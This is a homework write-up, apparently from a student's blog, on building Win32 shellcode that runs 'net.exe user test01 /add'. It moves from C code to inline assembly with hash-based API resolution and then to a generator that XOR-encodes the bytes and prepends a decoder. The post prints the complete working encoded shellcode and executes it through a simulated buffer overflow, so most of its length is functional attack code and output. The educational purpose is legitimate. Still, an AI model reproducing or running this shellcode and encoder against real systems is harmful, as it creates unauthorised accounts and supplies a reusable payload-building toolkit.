win32-shellcode-homework

0x00

​ 实验要求:

image-20221130152310644

​ 首先仿照doCommandLine.cpp,写一个能运行net.exe user test01 /add的C程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// doCommandLine_xcl.cpp
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"

void doCommandLine(char * szCmdLine)
{
BOOL ret;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.wShowWindow=TRUE;
si.dwFlags=STARTF_USESHOWWINDOW;
ret=CreateProcessA(
NULL,
szCmdLine,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
ExitProcess(ret); // 用这个较稳妥,否则shellcode会出错
}
void main(int argc, char* argv[])
{
doCommandLine("net.exe user test01 /add");
}

cl doCommandLine_xcl.cpp & doCommandLine_xcl.exe编译运行,之后net user发现命令执行成功。

image-20221130153808419

​ 之后执行net.exe user test01 /DELETE,方便后续实验。

0x01

​ 之后,使用汇编语言实现相同的功能。主要是将do32CommandAsm.cpp中的:

1
2
3
push    00657865h   ;
push 2e646170h ;
push 65746f6eh ; "notepad.exe"

​ 改为:

1
2
3
4
5
6
7
push    00000000h   ;
push 6464612fh ;
push 20313074h ;
push 73657420h ;
push 72657375h ;
push 20657865h ;
push 2e74656eh ; "net.exe user test01 /add"

​ 完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
// do32CommandAsm_xcl.cpp
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"

#define EIGHT_NOPS __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_BEGIN EIGHT_NOPS
#define PROC_END EIGHT_NOPS
void doCommandLineAsm()
{
__asm{
PROC_BEGIN; // Begin of the code
push 00000000h ;
push 6464612fh ;
push 20313074h ;
push 73657420h ;
push 72657375h ;
push 20657865h ;
push 2e74656eh ; "net.exe user test01 /add"
mov edi, esp ; edi="net.exe user test01 /add"
push 0xff0d6657 ; //hash("CloseHandle")=0xff0d6657
push 0x4fd18963 ; //hash("ExitProcess")=0x4fd18963
push 0x6ba6bcc9 ; //hash(CreateProcessA)=0x6ba6bcc9
pop edx; ; //edx=GetHash("CreateProcessA");
call findHashFuncAddrProc; // eax=address of function
mov esi,eax; ;// esi=CreateProcessA
pop edx; ;// edx=GetHash("ExitProcess");
call findHashFuncAddrProc; // eax=address of function
mov ebx,eax; ;// ebx=CloseHandle
call doCommandProc; // eax
jmp end_of_this_function; // finish all job.

doCommandProc:
push ecx;
push edx;
push esi;
push edi;
push ebp;
mov ebp,esp;
mov edx,edi; //edx=szCmdLine
sub esp, 54h;
mov edi, esp;
push 14h;
pop ecx;
xor eax,eax;
stack_zero:
mov [edi+ecx*4], eax;
loop stack_zero;
mov byte ptr [edi+10h], 44h; si.cb = sizeof(si)
lea eax, [edi+10h]
push edi; //push piPtr;
push eax; //push siPtr;
push NULL;
push NULL;
push 0;
push FALSE;
push NULL;
push NULL;
push edx; //edx=szCmdLine
push NULL;
call esi; //eax=return value;ptrCreateProcessA;
cmp eax,0;
je donot_closehandle;
push eax;
call ebx; //ExitProcess;

donot_closehandle:
mov esp,ebp;
pop ebp;
pop edi;
pop esi;
pop edx;
pop ecx;
retn;
findHashFuncAddrProc:
push esi;
push ebx;
push ecx;
push edx;
call get_base_address;
cmp eax,0; // the base address is 0, done.
jle end_of_findHashFuncAddrProc; if ecx <=0 done.
mov ebx,eax; // save the base to ebx;
call get_function_addr;
end_of_findHashFuncAddrProc:
pop edx;
pop ecx;
pop ebx;
pop esi;
retn;

get_base_address:
mov eax, fs:30h ; PEB base
mov eax, [eax+0ch] ; PEB_LER_DATA
mov eax,[eax+1ch] ; The first element of InInitOrderModuleList
mov eax,[eax] ; Next element
mov eax,[eax+8] ; eax = Base address of the module
retn;

get_function_addr:
mov eax,[ebx+3ch] ; e_lfanew
mov eax,[eax+ebx+78h] ; DataDirectory[0]
add eax,ebx ; RVA + base
mov esi,eax ; Save first DataDirectory to esi
mov ecx,[esi+18h] ; NumberOfNames
compare_names_hash:
mov eax, [esi+20h] ; AddressOfNames RVA
add eax, ebx ; rva2va
mov eax, [eax+ecx*4-4] ; NamesAddress RVA
add eax, ebx ; rva2va, now eax store the address of the name

push edi ; save edi to stack
mov edi,eax ; put the address of the string to edi
call hash_proc; ; gethash
pop edi ; restor edi from stack

cmp eax,edx; ; compare to hash;
je done_find_hash;
loop compare_names_hash;
xor eax,eax;
jmp done_get_function_addr;
done_find_hash:
mov eax, [esi+1ch] ; AddressOfFunctions RVA
add eax, ebx ; rva2va
mov eax, [eax+ecx*4-4] ; FunctionAddress RVA
add eax, ebx ; rva2va, now eax store the address of the Function
done_get_function_addr:
retn;

hash_proc:
// save ebx,ecx,edx,edi
push ebx ;
push ecx ;
push edx ;
push edi ;
xor edx,edx ; edx = h
hash_loop:
movsx eax,byte ptr [edi] ; [eax]=*c ==> eax
cmp eax,0 ;
je exit_hash_proc ;
mov ebx,edx ; h ==> ebx
mov ecx,edx ; h ==> ecx
shl ebx,19h ; h << 25
shr ecx,7 ; h >> 7
or ebx,ecx ; ((h << 25) | (h >> 7))
mov edx,ebx ;
add edx,eax ;
inc edi; ;
jmp hash_loop ;
exit_hash_proc:
mov eax,edx ; save hash to eax
// restore ebx,ecx,edx,edi
pop edi ;
pop edx ;
pop ecx ;
pop ebx ;
retn ;
end_of_this_function:
PROC_END; // End of the code
};
}

void main(int argc, char * argv[])
{
doCommandLineAsm();
}

​ 编译运行cl /Zi do32CommandAsm_xcl.cpp & do32CommandAsm_xcl.exe,之后net user查看:

image-20221130161002161

​ 运行成功!

​ 之后执行net.exe user test01 /DELETE,方便后续实验。

0x02

​ 将上述汇编语言的shellcode转成真正的shellcode。

​ 修改GetShellcode.cpp中的doCommandLineAsm函数,按0x01所示更改相应的汇编代码。(完整的GetShellcode_xcl.cpp放到0x03节中。)

​ 输入:cl \Zi GetShellcode_xcl.cpp & GetShellcode_xcl.exe输出为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// 原始的shellcode
/* 281=0x119 bytes */
"\x6a\x00\x68\x2f\x61\x64\x64\x68\x74\x30\x31\x20\x68\x20\x74\x65"
"\x73\x68\x75\x73\x65\x72\x68\x65\x78\x65\x20\x68\x6e\x65\x74\x2e"
"\x8b\xfc\x68\x57\x66\x0d\xff\x68\x63\x89\xd1\x4f\x68\xc9\xbc\xa6"
"\x6b\x5a\xe8\x56\x00\x00\x00\x8b\xf0\x5a\xe8\x4e\x00\x00\x00\x8b"
"\xd8\xe8\x05\x00\x00\x00\xe9\xce\x00\x00\x00\x51\x52\x56\x57\x55"
"\x8b\xec\x8b\xd7\x83\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0\x89\x04"
"\x8f\xe2\xfb\xc6\x47\x10\x44\x8d\x47\x10\x57\x50\x6a\x00\x6a\x00"
"\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x52\x6a\x00\xff\xd6\x83\xf8\x00"
"\x74\x03\x50\xff\xd3\x8b\xe5\x5d\x5f\x5e\x5a\x59\xc3\x56\x53\x51"
"\x52\xe8\x11\x00\x00\x00\x83\xf8\x00\x7e\x07\x8b\xd8\xe8\x17\x00"
"\x00\x00\x5a\x59\x5b\x5e\xc3\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c"
"\x8b\x40\x1c\x8b\x00\x8b\x40\x08\xc3\x8b\x43\x3c\x8b\x44\x18\x78"
"\x03\xc3\x8b\xf0\x8b\x4e\x18\x8b\x46\x20\x03\xc3\x8b\x44\x88\xfc"
"\x03\xc3\x57\x8b\xf8\xe8\x17\x00\x00\x00\x5f\x3b\xc2\x74\x06\xe2"
"\xe6\x33\xc0\xeb\x0b\x8b\x46\x1c\x03\xc3\x8b\x44\x88\xfc\x03\xc3"
"\xc3\x53\x51\x52\x57\x33\xd2\x0f\xbe\x07\x83\xf8\x00\x74\x13\x8b"
"\xda\x8b\xca\xc1\xe3\x19\xc1\xe9\x07\x0b\xd9\x8b\xd3\x03\xd0\x47"
"\xeb\xe5\x8b\xc2\x5f\x5a\x59\x5b\xc3";
XorByte=0xfe
// 对shellcode异或,去掉\x00字节。
/* 281=0x119 bytes */
"\x94\xfe\x96\xd1\x9f\x9a\x9a\x96\x8a\xce\xcf\xde\x96\xde\x8a\x9b"
"\x8d\x96\x8b\x8d\x9b\x8c\x96\x9b\x86\x9b\xde\x96\x90\x9b\x8a\xd0"
"\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d\x77\x2f\xb1\x96\x37\x42\x58"
"\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e\xa4\x16\xb0\xfe\xfe\xfe\x75"
"\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe\xfe\xaf\xac\xa8\xa9\xab"
"\x75\x12\x75\x29\x7d\x12\xaa\x75\x02\x94\xea\xa7\xcd\x3e\x77\xfa"
"\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9\xee\xa9\xae\x94\xfe\x94\xfe"
"\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94\xfe\x01\x28\x7d\x06\xfe"
"\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1\xa0\xa4\xa7\x3d\xa8\xad\xaf"
"\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80\xf9\x75\x26\x16\xe9\xfe"
"\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f\xce\xfe\xfe\xfe\x75\xbe\xf2"
"\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x75\xbd\xc2\x75\xba\xe6\x86"
"\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8\xde\xfd\x3d\x75\xba\x76\x02"
"\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe\xfe\xa1\xc5\x3c\x8a\xf8\x1c"
"\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd\x3d\x75\xba\x76\x02\xfd\x3d"
"\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xf9\x7d\x06\xfe\x8a\xed\x75"
"\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9\xf5\x27\x75\x2d\xfd\x2e\xb9"
"\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d";
Success: encode is OK
length of shellcode = 304 = 0x130
// 将解码程序放到shellcode里面,生成一个实用的shellcode
/* 304=0x130 bytes */
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\x19\x01\x80\x34\x0b\xfe\xe2"
"\xfa\xc3\xe8\xeb\xff\xff\xff\x94\xfe\x96\xd1\x9f\x9a\x9a\x96\x8a"
"\xce\xcf\xde\x96\xde\x8a\x9b\x8d\x96\x8b\x8d\x9b\x8c\x96\x9b\x86"
"\x9b\xde\x96\x90\x9b\x8a\xd0\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d"
"\x77\x2f\xb1\x96\x37\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e"
"\xa4\x16\xb0\xfe\xfe\xfe\x75\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe"
"\xfe\xfe\xaf\xac\xa8\xa9\xab\x75\x12\x75\x29\x7d\x12\xaa\x75\x02"
"\x94\xea\xa7\xcd\x3e\x77\xfa\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9"
"\xee\xa9\xae\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac"
"\x94\xfe\x01\x28\x7d\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1"
"\xa0\xa4\xa7\x3d\xa8\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe"
"\x80\xf9\x75\x26\x16\xe9\xfe\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f"
"\xce\xfe\xfe\xfe\x75\xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d"
"\x75\xbd\xc2\x75\xba\xe6\x86\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8"
"\xde\xfd\x3d\x75\xba\x76\x02\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe"
"\xfe\xa1\xc5\x3c\x8a\xf8\x1c\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd"
"\x3d\x75\xba\x76\x02\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40"
"\xf9\x7d\x06\xfe\x8a\xed\x75\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9"
"\xf5\x27\x75\x2d\xfd\x2e\xb9\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d"

​ 截图如下所示:

image-20221130162143338

​ 可以看到,运行完GetShellcode_xcl.exe后,直接运行net user,发现已经添加成功。

0x03

​ 完整的GetShellcode_xcl.cpp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"
#define MAX_OPCODE_LEN 0x2000

// 模拟缓冲区溢出漏洞,并用shellcode进行攻击. Do not use ((void (*)())code)();
void doShellcode(char * code)
{
__asm
{
begin_proc:
call vul_function; // call vulnerabile function
jmp code; // do the shellcode
jmp end_proc;
vul_function:
ret; // now, the buffer is overflow, and ret to the shellcode
end_proc:;
}
}

char decode1[] =
"\xeb\x0e\x5b\x53\x4b\x33\xc9\xb1\xff"
"\x80\x34\x0b\xee\xe2\xfa\xc3\xe8\xed\xff\xff\xff";
char decode2[] =
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\xdd\xff"
"\x80\x34\x0b\xee\xe2\xfa\xc3\xe8\xeb\xff\xff\xff";

#define EIGHT_NOPS __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_BEGIN EIGHT_NOPS
#define PROC_END EIGHT_NOPS

unsigned long doCommandLineAsm()
// hash(CreateProcessA)=0x6ba6bcc9
// Addr=0x7C823E8F hash=0xff0d6657 name=CloseHandle
// 0185: Addr=0x7C826919 hash=0x4fd18963 name=ExitProcess
{
long lMyAddress;
__asm
{
jmp near next_call;
proc001:
ret;
next_call:
call proc001;
mov eax,[esp-4];//获得这条指令的地址
mov lMyAddress,eax;
} // lMyAddress=指令mov eax,[esp-4];的地址
return lMyAddress;

__asm{
PROC_BEGIN; // Begin of the code
push 00000000h ;
push 6464612fh ;
push 20313074h ;
push 73657420h ;
push 72657375h ;
push 20657865h ;
push 2e74656eh ; "net.exe user test01 /add"
mov edi, esp ; edi="net.exe user test01 /add"
push 0xff0d6657 ; //hash("CloseHandle")=0xff0d6657
push 0x4fd18963 ; //hash("ExitProcess")=0x4fd18963
push 0x6ba6bcc9 ; //hash(CreateProcessA)=0x6ba6bcc9

// Begin: Get the process address for call+++++++++++++++++
pop edx; ; //edx=GetHash("CreateProcessA");
call findHashFuncAddrProc; // eax=address of function
//mov lFunctionPtr,eax; // store address to lFunctionPtr
mov esi,eax; ;// esi=CreateProcessA
pop edx; ;// edx=GetHash("ExitProcess");
// call some functions to do the job.
call findHashFuncAddrProc; // eax=address of function
//mov lFunctionPtr,eax; // store address to lFunctionPtr
mov ebx,eax; ;// ebx=CloseHandle
// End: Get the process address for call ----------------
call doCommandProc; // eax

jmp end_of_this_function; // finish all job.

// Define some sub processes here. ===========================================
// begin of doCommandProc =====================================
// in: edi=szCmdLine, esi=procAddr. out: eax=return value, result of call
doCommandProc:
push ecx;
push edx;
push esi;
push edi;
push ebp;
mov ebp,esp;

mov edx,edi; //edx=szCmdLine
sub esp, 54h;
mov edi, esp;
push 14h;
pop ecx;
xor eax,eax;
stack_zero:
mov [edi+ecx*4], eax;
loop stack_zero;
mov byte ptr [edi+10h], 44h; si.cb = sizeof(si)


lea eax, [edi+10h]
push edi; //push piPtr;
push eax; //push siPtr;
push NULL;
push NULL;
push 0;
push FALSE;
push NULL;
push NULL;
push edx; //edx=szCmdLine
push NULL;
call esi; //eax=return value;ptrCreateProcessA;
cmp eax,0;
je donot_closehandle;
push eax;
call ebx; //ExitProcess;
donot_closehandle:
mov esp,ebp;
pop ebp;
pop edi;
pop esi;
pop edx;
pop ecx;
retn;
// end of doCommandProc ==================================
// begin of findHashFuncAddrProc ==============================
// in: ecx = DLL nIndex, edx=lHash. out: eax=return value
findHashFuncAddrProc:
push esi;
push ebx;
push ecx;
push edx;
call get_base_address;
cmp eax,0 ; // the base address is 0, done.
jle end_of_findHashFuncAddrProc; if ecx <=0 done.
mov ebx,eax ; // save the base to ebx;
call get_function_addr;
end_of_findHashFuncAddrProc:
pop edx;
pop ecx;
pop ebx;
pop esi;
retn;
// end of findHashFuncAddrProc ==================================
// begin of get_base_address ==================================
// get_base_address: put the DLL nIndex to ecx. eax=return value
get_base_address:
mov eax, fs:30h ; PEB base
mov eax, [eax+0ch] ; PEB_LER_DATA
// base of first element
mov eax,[eax+1ch] ; The first element of InInitOrderModuleList
mov eax,[eax] ; Next element
mov eax,[eax+8] ; eax = Base address of the module
retn;
// end of get_base_address ======================================
// begin of get_function_addr =================================
// get_function_addr, in: ebx=base, edx=hash(name); out:eax=return value
get_function_addr:
// get the addrs of first function =========
mov eax,[ebx+3ch] ; e_lfanew
mov eax,[eax+ebx+78h] ; DataDirectory[0]
add eax,ebx ; RVA + base
mov esi,eax ; Save first DataDirectory to esi
mov ecx,[esi+18h] ; NumberOfNames
compare_names_hash:
mov eax, [esi+20h] ; AddressOfNames RVA
add eax, ebx ; rva2va
mov eax, [eax+ecx*4-4] ; NamesAddress RVA
add eax, ebx ; rva2va, now eax store the address of the name

push edi ; save edi to stack
mov edi,eax ; put the address of the string to edi
call hash_proc; ; gethash
pop edi ; restor edi from stack

cmp eax,edx; ; compare to hash;
je done_find_hash;

loop compare_names_hash;
xor eax,eax;
jmp done_get_function_addr;
done_find_hash:
mov eax, [esi+1ch] ; AddressOfFunctions RVA
add eax, ebx ; rva2va
mov eax, [eax+ecx*4-4] ; FunctionAddress RVA
add eax, ebx ; rva2va, now eax store the address of the Function
done_get_function_addr:
retn;
// end of get_function_addr ======================================

// begin of hash_process ======================================
//hash_proc: you should put the address of the string to edi
//when ret, the hash value stores in eax
hash_proc:
// save ebx,ecx,edx,edi
push ebx ;
push ecx ;
push edx ;
push edi ;
xor edx,edx ; edx = h
hash_loop: ;
movsx eax,byte ptr [edi] ; [eax]=*c ==> eax
cmp eax,0 ;
je exit_hash_proc ;
mov ebx,edx ; h ==> ebx
mov ecx,edx ; h ==> ecx
shl ebx,19h ; h << 25
shr ecx,7 ; h >> 7
or ebx,ecx ; (h << 25) | (h >> 7)
mov edx,ebx ;
add edx,eax ;
inc edi; ;
jmp hash_loop ;
exit_hash_proc: ;
mov eax,edx ; save hash to eax
// restore ebx,ecx,edx,edi
pop edi ;
pop edx ;
pop ecx ;
pop ebx ;
retn ;
// end of hash_process ========================================
end_of_this_function:
PROC_END; // End of the code
};
return lMyAddress;
}

void PrintStrCode(unsigned char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
printf("/* %d=0x%x bytes */\n",buffsize,buffsize);
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
printf("\"\n\"");
else
printf("\"");
printf("\\x%.2x",lpBuff[i]&0xff);
}
printf("\";\n");
}
int EncOpcode(unsigned char * Opcode_buff, int opcode_len, unsigned char xorByte)
// in: Opcode_buff,opcode_len,xorByte;
// out: encoded Opcode_buff
{
int i;
if(xorByte==0){
puts("The xorByte cannot be zero."); return 0;
}
for(i=0;i<opcode_len;i++){
Opcode_buff[i]=Opcode_buff[i]^xorByte;
}
Opcode_buff[opcode_len]=0;
return opcode_len;
}
int GetProcOpcode(unsigned char * funPtr, unsigned char * Opcode_buff)
// in: funPtr; out: "return value=length of Opcode_buff" and Opcode_buff
{
char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
int i,sh_len;
for (i=0;i<MAX_OPCODE_LEN;i++ ) {
if(memcmp((unsigned char *)(funPtr+i),fnbgn_str, 8)==0) break;
}
funPtr+=(i+8); // start of the ShellCode
for (i=0;i<MAX_OPCODE_LEN;i++) {
if(memcmp((unsigned char *)(funPtr+i),fnend_str, 8)==0) break;
}
sh_len=i; // length of the ShellCode
memcpy(Opcode_buff, (unsigned char *)funPtr, sh_len);
return sh_len;
}

unsigned char findXorByte(unsigned char Buff[], int buf_len)
{
unsigned char xorByte=0;
int i,j,k;
for(i=0xff; i>0; i--)
{
k=0;
for(j=0;j<buf_len;j++)
{
if((Buff[j]^i)==0)
{
k++;break;
}
}
if(k==0)
{//find the xor byte
xorByte=i; break;
}
}
return xorByte;
}

long GetShellcode()
{
unsigned char opcode_Buff[MAX_OPCODE_LEN];
char shellcode[MAX_OPCODE_LEN];
int opcode_len=0,encode_len,i,decode_len;
unsigned char Enc_key;
unsigned long lPtr;
// 获得原始的二进制代码
lPtr = doCommandLineAsm() ;
opcode_len=GetProcOpcode((unsigned char *)lPtr, opcode_Buff);
PrintStrCode(opcode_Buff, opcode_len);
//doShellcode((char *)opcode_Buff);
//return 0;
// 找到XOR字节并编码shellcode
Enc_key = findXorByte(opcode_Buff, opcode_len);
printf("\tXorByte=0x%.2x\n", Enc_key);
encode_len=EncOpcode(opcode_Buff, opcode_len, Enc_key);
PrintStrCode(opcode_Buff, opcode_len);
if(encode_len==strlen((char *)opcode_Buff)){
puts("\tSuccess: encode is OK\n");
}else{ puts("\tFail: encode is OK\n"); return 0;}
//return 0;
// 加上解码程序
if(encode_len<256){// strlen(opcode_Buff)<256,用decode1解码
decode_len = strlen(decode1);

for(i=0;i<decode_len;i++){
shellcode[i]=decode1[i];
}
shellcode[8]=encode_len;
shellcode[12]=Enc_key;

for(i=0;i<encode_len;i++){
shellcode[i+decode_len]=opcode_Buff[i];
}
}else{// strlen(opcode_Buff)>=256,用decode2解码
decode_len = strlen(decode2);

for(i=0;i<decode_len;i++){
shellcode[i]=decode2[i];
}
shellcode[9] =encode_len % 0x100;
shellcode[10]=encode_len/0x100;
shellcode[14]=Enc_key;

for(i=0;i<encode_len;i++){
shellcode[i+decode_len]=opcode_Buff[i];
}
}

printf("\n\nlength of shellcode = %d = 0x%x\n",strlen(shellcode),strlen(shellcode));
PrintStrCode((unsigned char*)shellcode, strlen(shellcode));

doShellcode(shellcode);

return lPtr;
}
void main(int argc, char * argv[])
{
GetShellcode();
}

留言

2022-11-30

© 2024 wd-z711

⬆︎TOP